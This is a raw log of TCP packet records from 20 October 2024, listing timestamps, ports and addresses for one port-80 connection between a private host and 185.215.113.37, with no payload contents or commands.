Oct 20, 2024 06:40:21.753865957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.753876925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.753886938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.753900051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.753911972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.753985882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.753998041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754008055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754018068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754019022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.754031897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.754044056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754050016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.754059076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754069090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754076958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.754089117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754098892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.754100084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754112005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754121065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.754122972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754142046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754143000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.754158020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.754162073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754172087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.754173994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754185915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754193068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.754203081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.754205942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754215002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.754219055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754239082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754249096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.754251957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754262924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754272938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.754276037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754287958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754297018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.754300117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754312038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754317045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.754323006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754331112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.754334927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754348040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754357100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.754359007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754370928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754375935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.754390955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.754411936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.754498005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754508018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754527092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754528046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.754543066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.754545927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754559040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754560947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.754575968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754578114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.754587889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754592896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.754599094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754605055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.754615068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754620075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.754632950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.754633904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754646063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754647970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.754657030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754663944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.754668951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754681110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.754681110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754695892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.754702091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754714966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754717112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.754729033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754740953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.754751921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754765987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754776001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754787922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754792929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.754798889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754807949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.754812956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754825115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.754829884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.754846096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.754859924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.755158901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.755187035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.755196095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.755197048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.755208969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.755220890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.755220890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.755232096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.755234957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.755244017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.755249023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.755254984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.755273104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.755275011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.755285025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.755297899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.755309105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.755310059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.755321026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.755327940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.755331993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.755342007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.755346060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.755356073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.755357981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.755369902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.755371094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.755382061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.755389929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.755403042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.755405903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.755417109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.755426884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.755428076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.755441904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.755454063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.755455017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.755465031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.755470037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.755475998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.755486965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.755491972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.755498886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.755510092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.755513906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.755522013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.755532026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.755534887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.755547047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.755554914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.755559921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.755577087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.755580902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.755587101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.755599976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.755603075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.755611897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.755623102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.755626917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.755640984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.755640984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.755652905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.755662918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.755666018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.755686998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.755707026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.945616961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.945677042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.945687056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.945688963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.945710897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.945718050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.945725918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.945736885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.945743084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.945749998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.945761919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.945771933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.945774078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.945795059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.945806980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.945817947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.945825100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.945831060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.945842981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.945851088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.945856094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.945867062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.945874929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.945879936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.945909977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.945930004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.945943117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.945943117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.945954084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.945966005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.945976973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.945980072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.945997000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.946007967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.946018934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.946022034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.946032047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.946043968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.946048021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.946054935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.946070910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.946072102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.946090937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.946095943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.946103096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.946115017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.946115971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.946127892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.946141005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.946152925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.946152925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.946168900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.946180105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:21.946196079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.946219921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.982194901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:21.986905098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.367701054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.367716074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.367733002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.367743969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.367753983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.367765903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.367774963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.367794037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.367794991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:22.367805004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.367815971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.367827892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.367839098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.367849112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.367861032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.367866039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:22.367876053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.367886066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.367894888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.367896080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:22.367906094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.367924929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.367929935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:22.367937088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.367947102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.367959976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.367964029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:22.367969990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.367985964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.367990971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:22.367996931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368007898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368020058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:22.368020058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368033886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368058920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:22.368098021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:22.368133068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368143082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368151903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368161917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368190050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:22.368215084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368227005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368232965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:22.368237019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368247032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368257046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368267059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368272066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368271112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:22.368283987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368294954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368304968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368315935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368319988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:22.368324995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368334055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368351936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368356943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:22.368365049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368374109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368385077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368386984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:22.368393898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368407965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368408918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:22.368418932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368429899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368434906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:22.368446112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368455887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368465900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368468046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:22.368484974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:22.368510008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368520975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368529081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:22.368535042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368546009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368556023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368567944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368573904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:22.368577003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368586063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368597031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368603945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:22.368607044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368617058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368627071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368634939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:22.368640900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368659973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368666887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:22.368669987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368681908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368695974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:22.368697882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368709087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368721008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368731976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368742943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368743896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:22.368751049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368762016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.368803978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:22.368824005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:22.881225109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:22.881278992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:22.886161089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:22.886178017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:23.735227108 CEST	80	49730	185.215.113.37	192.168.2.4
